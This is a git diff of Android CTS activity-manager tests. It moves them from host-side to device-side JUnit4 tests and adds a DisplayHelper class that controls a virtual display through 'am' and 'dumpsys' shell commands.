import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PRESENTATION;
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/Android.mk b/tests/framework/base/activitymanager/displayserviceapp/util/Android.mk
similarity index 87%
rename from hostsidetests/services/activityandwindowmanager/displayserviceapp/util/Android.mk
rename to tests/framework/base/activitymanager/displayserviceapp/util/Android.mk
index 0df59e7..613888a 100644
--- a/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/Android.mk
+++ b/tests/framework/base/activitymanager/displayserviceapp/util/Android.mk
@@ -22,10 +22,12 @@
LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+ android-support-test
LOCAL_MODULE := cts-display-service-app-util
LOCAL_SDK_VERSION := current
-include $(BUILD_HOST_JAVA_LIBRARY)
+include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/framework/base/activitymanager/displayserviceapp/util/src/android/server/am/displayservice/DisplayHelper.java b/tests/framework/base/activitymanager/displayserviceapp/util/src/android/server/am/displayservice/DisplayHelper.java
new file mode 100644
index 0000000..f541770
--- /dev/null
+++ b/tests/framework/base/activitymanager/displayserviceapp/util/src/android/server/am/displayservice/DisplayHelper.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package android.server.am.displayservice;
+
+import static junit.framework.Assert.assertTrue;
+
+import android.support.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.io.IOException;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+public class DisplayHelper {
+ private static final String VIRTUAL_DISPLAY_NAME = "CtsVirtualDisplay";
+ private static final String VIRTUAL_DISPLAY_SERVICE =
+ "android.server.am.displayservice/.VirtualDisplayService";
+ private static final Pattern mDisplayDevicePattern = Pattern.compile(
+ ".*DisplayDeviceInfo\\{\"([^\"]+)\":.*, state (\\S+),.*\\}.*");
+
+ private boolean mCreated;
+
+ public DisplayHelper() {
+ }
+
+ public void createAndWaitForDisplay(boolean external, boolean requestShowWhenLocked)
+ {
+ StringBuilder command =
+ new StringBuilder("am startfgservice -n " + VIRTUAL_DISPLAY_SERVICE);
+ command.append(" --es command create");
+ if (external) {
+ command.append(" --ez external_display true");
+ }
+ if (requestShowWhenLocked) {
+ command.append(" --ez show_content_when_locked true");
+ }
+ executeShellCommand(command.toString());
+
+ waitForDisplayState(false /* default */, true /* exists */, true /* on */);
+ mCreated = true;
+ }
+
+ public void turnDisplayOff() {
+ executeShellCommand(
+ "am start-service -n " + VIRTUAL_DISPLAY_SERVICE + " --es command off");
+ waitForDisplayState(false /* default */, true /* exists */, false /* on */);
+ }
+
+ public void turnDisplayOn() {
+ executeShellCommand(
+ "am start-service -n " + VIRTUAL_DISPLAY_SERVICE + " --es command on");
+ waitForDisplayState(false /* default */, true /* exists */, true /* on */);
+ }
+
+ public void releaseDisplay() {
+ if (mCreated) {
+ executeShellCommand(
+ "am start-service -n " + VIRTUAL_DISPLAY_SERVICE + " --es command destroy");
+ waitForDisplayState(false /* default */, false /* exists */, true /* on */);
+ }
+ mCreated = false;
+ }
+
+ public static void waitForDefaultDisplayState(boolean wantOn) {
+ waitForDisplayState(true /* default */, true /* exists */, wantOn);
+ }
+
+ public static boolean getDefaultDisplayState() {
+ return getDisplayState(true);
+ }
+
+ private static void waitForDisplayState(boolean defaultDisplay, boolean wantExists, boolean wantOn) {
+ int tries = 0;
+ boolean done = false;
+ do {
+ if (tries > 0) {
+ try {
+ Thread.sleep(500);
+ } catch (InterruptedException e) {
+ // Oh well
+ }
+ }
+
+ Boolean state = getDisplayState(defaultDisplay);
+ done = (!wantExists && state == null)
+ || (wantExists && state != null && state == wantOn);
+
+ tries++;
+ } while (tries < 10 && !done);
+
+ assertTrue(done);
+ }
+
+ private static Boolean getDisplayState(boolean defaultDisplay) {
+ String dump = executeShellCommand("dumpsys display");
+
+ boolean displayExists = false;
+ boolean displayOn = false;
+ for (String line : dump.split("\\n")) {
+ Matcher matcher = mDisplayDevicePattern.matcher(line);
+ if (matcher.matches()) {
+ if ((defaultDisplay && line.contains("FLAG_DEFAULT_DISPLAY"))
+ || (!defaultDisplay && VIRTUAL_DISPLAY_NAME.equals(matcher.group(1)))) {
+ return "ON".equals(matcher.group(2));
+ }
+ }
+ }
+ return null;
+ }
+
+ private static String executeShellCommand(String command) {
+ try {
+ return SystemUtil
+ .runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
+ } catch (IOException e) {
+ //bubble it up
+ throw new RuntimeException(e);
+ }
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityAndWindowManagerOverrideConfigTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityAndWindowManagerOverrideConfigTests.java
similarity index 80%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityAndWindowManagerOverrideConfigTests.java
rename to tests/framework/base/activitymanager/src/android/server/am/ActivityAndWindowManagerOverrideConfigTests.java
index add7e42..ef5d341 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityAndWindowManagerOverrideConfigTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityAndWindowManagerOverrideConfigTests.java
@@ -14,21 +14,22 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.server.am;
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
+import static android.server.am.StateLogger.log;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import org.junit.Test;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
-import static android.server.cts.StateLogger.log;
-
/**
* Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityAndWindowManagerOverrideConfigTests
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityAndWindowManagerOverrideConfigTests
*/
public class ActivityAndWindowManagerOverrideConfigTests extends ActivityManagerTestBase {
private static final String TEST_ACTIVITY_NAME = "LogConfigurationActivity";
@@ -41,7 +42,7 @@
}
private boolean findConfigurationChange(String activityName, String logSeparator)
- throws DeviceNotAvailableException, InterruptedException {
+ throws InterruptedException {
int tries = 0;
boolean observedChange = false;
while (tries < 5 && !observedChange) {
@@ -63,13 +64,14 @@
}
}
+ @Test
public void testReceiveOverrideConfigFromRelayout() throws Exception {
if (!supportsFreeform()) {
- CLog.logAndDisplay(LogLevel.INFO, "Device doesn't support freeform. Skipping test.");
+ log("Device doesn't support freeform. Skipping test.");
return;
}
- launchActivityInStack(TEST_ACTIVITY_NAME, FREEFORM_WORKSPACE_STACK_ID);
+ launchActivity(TEST_ACTIVITY_NAME, WINDOWING_MODE_FREEFORM);
setDeviceRotation(0);
String logSeparator = clearLogcat();
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerActivityVisibilityTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
similarity index 72%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerActivityVisibilityTests.java
rename to tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
index c51f24a..8282dc1 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerActivityVisibilityTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
@@ -14,24 +14,30 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
-import static android.server.cts.ActivityManagerState.STATE_RESUMED;
-import static android.server.cts.StateLogger.logE;
+import static android.app.ActivityManager.StackId.INVALID_STACK_ID;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
+import static android.server.am.ActivityManagerState.STATE_RESUMED;
+import static android.server.am.StateLogger.log;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertTrue;
import android.platform.test.annotations.Presubmit;
-import java.lang.Exception;
-import java.lang.String;
-
-import static com.android.ddmlib.Log.LogLevel.INFO;
-
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.device.DeviceNotAvailableException;
+import org.junit.After;
+import org.junit.Test;
/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerActivityVisibilityTests
+ * Build: mmma -j32 cts/tests/framework/base
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerActivityVisibilityTests
*/
public class ActivityManagerActivityVisibilityTests extends ActivityManagerTestBase {
private static final String TRANSLUCENT_ACTIVITY = "AlwaysFocusablePipActivity";
@@ -51,25 +57,32 @@
private static final String TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY =
"TurnScreenOnWithRelayoutActivity";
+ @After
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
super.tearDown();
tearDownLockCredentials();
}
+ @Presubmit
+ @Test
public void testTranslucentActivityOnTopOfPinnedStack() throws Exception {
if (!supportsPip()) {
return;
}
executeShellCommand(getAmStartCmdOverHome(PIP_ON_PIP_ACTIVITY));
- mAmWmState.waitForValidState(mDevice, PIP_ON_PIP_ACTIVITY);
+ mAmWmState.waitForValidState(PIP_ON_PIP_ACTIVITY);
// NOTE: moving to pinned stack will trigger the pip-on-pip activity to launch the
// translucent activity.
- executeShellCommand(AM_MOVE_TOP_ACTIVITY_TO_PINNED_STACK_COMMAND);
+ final int stackId = mAmWmState.getAmState().getStackIdByActivityName(PIP_ON_PIP_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] {PIP_ON_PIP_ACTIVITY, TRANSLUCENT_ACTIVITY});
- mAmWmState.assertFrontStack("Pinned stack must be the front stack.", PINNED_STACK_ID);
+ assertNotEquals(stackId, INVALID_STACK_ID);
+ executeShellCommand(getMoveToPinnedStackCommand(stackId));
+
+ mAmWmState.computeState(new String[] {PIP_ON_PIP_ACTIVITY, TRANSLUCENT_ACTIVITY});
+ mAmWmState.assertFrontStack("Pinned stack must be the front stack.",
+ WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
mAmWmState.assertVisibility(PIP_ON_PIP_ACTIVITY, true);
mAmWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
}
@@ -78,6 +91,7 @@
* Asserts that the home activity is visible when a translucent activity is launched in the
* fullscreen stack over the home activity.
*/
+ @Test
public void testTranslucentActivityOnTopOfHome() throws Exception {
if (noHomeScreen()) {
return;
@@ -86,9 +100,9 @@
launchHomeActivity();
launchActivity(TRANSLUCENT_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[]{TRANSLUCENT_ACTIVITY});
- mAmWmState.assertFrontStack(
- "Fullscreen stack must be the front stack.", FULLSCREEN_WORKSPACE_STACK_ID);
+ mAmWmState.computeState( new String[]{TRANSLUCENT_ACTIVITY});
+ mAmWmState.assertFrontStack("Fullscreen stack must be the front stack.",
+ WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
mAmWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
mAmWmState.assertHomeActivityVisible(true);
}
@@ -97,6 +111,8 @@
* Assert that the home activity is visible if a task that was launched from home is pinned
* and also assert the next task in the fullscreen stack isn't visible.
*/
+ @Presubmit
+ @Test
public void testHomeVisibleOnActivityTaskPinned() throws Exception {
if (!supportsPip()) {
return;
@@ -106,70 +122,81 @@
launchActivity(TEST_ACTIVITY_NAME);
launchHomeActivity();
launchActivity(TRANSLUCENT_ACTIVITY);
- executeShellCommand(AM_MOVE_TOP_ACTIVITY_TO_PINNED_STACK_COMMAND);
+ final int stackId = mAmWmState.getAmState().getStackIdByActivityName(TRANSLUCENT_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[]{TRANSLUCENT_ACTIVITY});
+ assertNotEquals(stackId, INVALID_STACK_ID);
+ executeShellCommand(getMoveToPinnedStackCommand(stackId));
+
+ mAmWmState.computeState(new String[]{TRANSLUCENT_ACTIVITY});
mAmWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, false);
mAmWmState.assertHomeActivityVisible(true);
}
+ @Test
public void testTranslucentActivityOverDockedStack() throws Exception {
if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(INFO, "Skipping test: no multi-window support");
+ log("Skipping test: no multi-window support");
return;
}
launchActivityInDockStack(DOCKED_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] {DOCKED_ACTIVITY_NAME});
- launchActivityInStack(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.computeState(mDevice, new String[] {DOCKED_ACTIVITY_NAME, TEST_ACTIVITY_NAME});
- launchActivityInStack(TRANSLUCENT_ACTIVITY_NAME, DOCKED_STACK_ID);
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME, DOCKED_ACTIVITY_NAME,
- TRANSLUCENT_ACTIVITY_NAME}, false /* compareTaskAndStackBounds */);
- mAmWmState.assertContainsStack("Must contain docked stack", DOCKED_STACK_ID);
- mAmWmState.assertContainsStack("Must contain fullscreen stack",
- FULLSCREEN_WORKSPACE_STACK_ID);
+ mAmWmState.computeState(new String[] {DOCKED_ACTIVITY_NAME});
+ launchActivity(TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ mAmWmState.computeState(new String[] {DOCKED_ACTIVITY_NAME, TEST_ACTIVITY_NAME});
+ launchActivity(TRANSLUCENT_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+ mAmWmState.computeState(false /* compareTaskAndStackBounds */,
+ new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build(),
+ new WaitForValidActivityState.Builder(DOCKED_ACTIVITY_NAME).build(),
+ new WaitForValidActivityState.Builder(TRANSLUCENT_ACTIVITY_NAME).build());
+ mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertContainsStack("Must contain docked stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
mAmWmState.assertVisibility(DOCKED_ACTIVITY_NAME, true);
mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true);
mAmWmState.assertVisibility(TRANSLUCENT_ACTIVITY_NAME, true);
}
@Presubmit
+ @Test
public void testTurnScreenOnActivity() throws Exception {
sleepDevice();
launchActivity(TURN_SCREEN_ON_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_ACTIVITY_NAME });
+ mAmWmState.computeState(new String[] { TURN_SCREEN_ON_ACTIVITY_NAME });
mAmWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY_NAME, true);
}
+ @Test
public void testFinishActivityInNonFocusedStack() throws Exception {
if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(INFO, "Skipping test: no multi-window support");
+ log("Skipping test: no multi-window support");
return;
}
// Launch two activities in docked stack.
launchActivityInDockStack(LAUNCHING_ACTIVITY);
getLaunchActivityBuilder().setTargetActivityName(BROADCAST_RECEIVER_ACTIVITY).execute();
- mAmWmState.computeState(mDevice, new String[] { BROADCAST_RECEIVER_ACTIVITY });
+ mAmWmState.computeState(new String[] { BROADCAST_RECEIVER_ACTIVITY });
mAmWmState.assertVisibility(BROADCAST_RECEIVER_ACTIVITY, true);
// Launch something to fullscreen stack to make it focused.
- launchActivityInStack(TEST_ACTIVITY_NAME, 1);
- mAmWmState.computeState(mDevice, new String[] { TEST_ACTIVITY_NAME });
+ launchActivity(TEST_ACTIVITY_NAME, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+ mAmWmState.computeState(new String[] { TEST_ACTIVITY_NAME });
mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true);
// Finish activity in non-focused (docked) stack.
executeShellCommand(FINISH_ACTIVITY_BROADCAST);
- mAmWmState.computeState(mDevice, new String[] { LAUNCHING_ACTIVITY });
+ mAmWmState.computeState(new String[] { LAUNCHING_ACTIVITY });
mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
mAmWmState.assertVisibility(BROADCAST_RECEIVER_ACTIVITY, false);
}
+ @Test
public void testFinishActivityWithMoveTaskToBackAfterPause() throws Exception {
performFinishActivityWithMoveTaskToBack("on_pause");
}
+ @Test
public void testFinishActivityWithMoveTaskToBackAfterStop() throws Exception {
performFinishActivityWithMoveTaskToBack("on_stop");
}
@@ -183,21 +210,24 @@
// Launch an activity that calls "moveTaskToBack" to finish itself.
launchActivity(MOVE_TASK_TO_BACK_ACTIVITY_NAME, "finish_point", finishPoint);
- mAmWmState.waitForValidState(mDevice, MOVE_TASK_TO_BACK_ACTIVITY_NAME);
+ mAmWmState.waitForValidState(MOVE_TASK_TO_BACK_ACTIVITY_NAME);
mAmWmState.assertVisibility(MOVE_TASK_TO_BACK_ACTIVITY_NAME, true);
// Launch a different activity on top.
launchActivity(BROADCAST_RECEIVER_ACTIVITY);
- mAmWmState.waitForActivityState(mDevice, BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED);
+ mAmWmState.waitForValidState(BROADCAST_RECEIVER_ACTIVITY);
+ mAmWmState.waitForActivityState(BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED);
mAmWmState.assertVisibility(MOVE_TASK_TO_BACK_ACTIVITY_NAME, false);
mAmWmState.assertVisibility(BROADCAST_RECEIVER_ACTIVITY, true);
// Finish the top-most activity.
executeShellCommand(FINISH_ACTIVITY_BROADCAST);
+ //TODO: BUG: MoveTaskToBackActivity returns to the top of the stack when
+ // BroadcastActivity finishes, so homeActivity is not visible afterwards
// Home must be visible.
if (!noHomeScreen()) {
- mAmWmState.waitForHomeActivityVisible(mDevice);
+ mAmWmState.waitForHomeActivityVisible();
mAmWmState.assertHomeActivityVisible(true /* visible */);
}
}
@@ -206,6 +236,7 @@
* Asserts that launching between reorder to front activities exhibits the correct backstack
* behavior.
*/
+ @Test
public void testReorderToFrontBackstack() throws Exception {
// Start with home on top
launchHomeActivity();
@@ -229,7 +260,7 @@
// Press back
pressBackButton();
- mAmWmState.waitForValidState(mDevice, ALT_LAUNCHING_ACTIVITY);
+ mAmWmState.waitForValidState(ALT_LAUNCHING_ACTIVITY);
// Ensure the alternate launching activity is in focus
mAmWmState.assertFocusedActivity("Alt Launching Activity must be focused",
@@ -240,6 +271,7 @@
* Asserts that the activity focus and history is preserved moving between the activity and
* home stack.
*/
+ @Test
public void testReorderToFrontChangingStack() throws Exception {
// Start with home on top
launchHomeActivity();
@@ -264,7 +296,7 @@
// Bring launching activity back to the foreground
launchActivity(LAUNCHING_ACTIVITY);
- mAmWmState.waitForValidState(mDevice, LAUNCHING_ACTIVITY);
+ mAmWmState.waitForValidState(LAUNCHING_ACTIVITY);
// Ensure the alternate launching activity is still in focus.
mAmWmState.assertFocusedActivity("Alt Launching Activity must be focused",
@@ -272,7 +304,7 @@
pressBackButton();
- mAmWmState.waitForValidState(mDevice, LAUNCHING_ACTIVITY);
+ mAmWmState.waitForValidState(LAUNCHING_ACTIVITY);
// Ensure launching activity was brought forward.
mAmWmState.assertFocusedActivity("Launching Activity must be focused",
@@ -283,6 +315,7 @@
* Asserts that a nohistory activity is stopped and removed immediately after a resumed activity
* above becomes visible and does not idle.
*/
+ @Test
public void testNoHistoryActivityFinishedResumedActivityNotIdle() throws Exception {
if (noHomeScreen()) {
return;
@@ -298,21 +331,23 @@
launchActivity(SWIPE_REFRESH_ACTIVITY);
pressBackButton();
- mAmWmState.waitForHomeActivityVisible(mDevice);
+ mAmWmState.waitForHomeActivityVisible();
mAmWmState.assertHomeActivityVisible(true);
}
+ @Test
public void testTurnScreenOnAttrNoLockScreen() throws Exception {
wakeUpAndRemoveLock();
sleepDevice();
final String logSeparator = clearLogcat();
launchActivity(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_ATTR_ACTIVITY_NAME });
+ mAmWmState.computeState(new String[] { TURN_SCREEN_ON_ATTR_ACTIVITY_NAME });
mAmWmState.assertVisibility(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME, true);
assertTrue(isDisplayOn());
assertSingleLaunch(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME, logSeparator);
}
+ @Test
public void testTurnScreenOnAttrWithLockScreen() throws Exception {
if (!isHandheld()) {
// This test requires the ability to have a lock screen.
@@ -323,45 +358,49 @@
sleepDevice();
final String logSeparator = clearLogcat();
launchActivity(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_ATTR_ACTIVITY_NAME });
+ mAmWmState.computeState(new String[] { TURN_SCREEN_ON_ATTR_ACTIVITY_NAME });
assertFalse(isDisplayOn());
assertSingleLaunchAndStop(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME, logSeparator);
}
+ @Test
public void testTurnScreenOnShowOnLockAttr() throws Exception {
sleepDevice();
- mAmWmState.waitForAllStoppedActivities(mDevice);
+ mAmWmState.waitForAllStoppedActivities();
final String logSeparator = clearLogcat();
launchActivity(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME });
+ mAmWmState.computeState(new String[] { TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME });
mAmWmState.assertVisibility(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME, true);
assertTrue(isDisplayOn());
assertSingleLaunch(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME, logSeparator);
}
+ @Test
public void testTurnScreenOnAttrRemove() throws Exception {
sleepDevice();
- mAmWmState.waitForAllStoppedActivities(mDevice);
+ mAmWmState.waitForAllStoppedActivities();
String logSeparator = clearLogcat();
launchActivity(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] {
+ mAmWmState.computeState(new String[] {
TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME});
assertTrue(isDisplayOn());
assertSingleLaunch(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME, logSeparator);
sleepDevice();
- mAmWmState.waitForAllStoppedActivities(mDevice);
+ mAmWmState.waitForAllStoppedActivities();
logSeparator = clearLogcat();
launchActivity(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME);
assertFalse(isDisplayOn());
assertSingleStartAndStop(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME, logSeparator);
}
+ @Test
+ @Presubmit
public void testTurnScreenOnSingleTask() throws Exception {
sleepDevice();
String logSeparator = clearLogcat();
launchActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME });
+ mAmWmState.computeState(new String[] { TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME });
mAmWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, true);
assertTrue(isDisplayOn());
assertSingleLaunch(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, logSeparator);
@@ -369,16 +408,17 @@
sleepDevice();
logSeparator = clearLogcat();
launchActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME });
+ mAmWmState.computeState(new String[] { TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME });
mAmWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, true);
assertTrue(isDisplayOn());
assertSingleStart(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, logSeparator);
}
+ @Test
public void testTurnScreenOnActivity_withRelayout() throws Exception {
sleepDevice();
launchActivity(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY });
+ mAmWmState.computeState(new String[] { TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY });
mAmWmState.assertVisibility(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY, true);
String logSeparator = clearLogcat();
@@ -392,13 +432,8 @@
}
private boolean lifecycleStopOccurred(String activityName, String logSeparator) {
- try {
- ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
- logSeparator);
- return lifecycleCounts.mStopCount > 0;
- } catch (DeviceNotAvailableException e) {
- logE(e.toString());
- return false;
- }
+ ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
+ logSeparator);
+ return lifecycleCounts.mStopCount > 0;
}
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmProfileTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java
similarity index 77%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmProfileTests.java
rename to tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java
index f462c60..57016f4 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmProfileTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java
@@ -14,38 +14,40 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.server.am;
-import com.google.common.io.Files;
+import static org.junit.Assert.assertTrue;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.util.FileUtil;
+import android.support.test.InstrumentationRegistry;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.io.BufferedInputStream;
import java.io.File;
-import java.lang.StringBuilder;
+import java.io.FileInputStream;
/**
* Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerAmProfileTests
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerAmProfileTests
*
* Please talk to Android Studio team first if you want to modify or delete these tests.
*/
public class ActivityManagerAmProfileTests extends ActivityManagerTestBase {
- private static final String TEST_PACKAGE_NAME = "android.server.cts.debuggable";
+ private static final String TEST_PACKAGE_NAME = "android.server.am.debuggable";
private static final String TEST_ACTIVITY_NAME = "DebuggableAppActivity";
private static final String OUTPUT_FILE_PATH = "/data/local/tmp/profile.trace";
+ private static String READABLE_FILE_PATH = null;
private static final String FIRST_WORD_NO_STREAMING = "*version\n";
private static final String FIRST_WORD_STREAMING = "SLOW"; // Magic word set by runtime.
- private ITestDevice mDevice;
-
+ @Before
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
- mDevice = getDevice();
setComponentName(TEST_PACKAGE_NAME);
+ READABLE_FILE_PATH = InstrumentationRegistry.getContext().getExternalFilesDir(null).getPath() + "/profile.trace";
}
/**
@@ -54,6 +56,7 @@
* sampling-based profiling? no;
* using streaming output mode? no.
*/
+ @Test
public void testAmProfileStartNoSamplingNoStreaming() throws Exception {
// am profile start ... , and the same to the following 3 test methods.
testProfile(true, false, false);
@@ -63,25 +66,32 @@
* The following tests are similar to testAmProfileStartNoSamplingNoStreaming(),
* only different in the three configuration options.
*/
+ @Test
public void testAmProfileStartNoSamplingStreaming() throws Exception {
testProfile(true, false, true);
}
+ @Test
public void testAmProfileStartSamplingNoStreaming() throws Exception {
testProfile(true, true, false);
}
+ @Test
public void testAmProfileStartSamplingStreaming() throws Exception {
testProfile(true, true, true);
}
+ @Test
public void testAmStartStartProfilerNoSamplingNoStreaming() throws Exception {
// am start --start-profiler ..., and the same to the following 3 test methods.
testProfile(false, false, false);
}
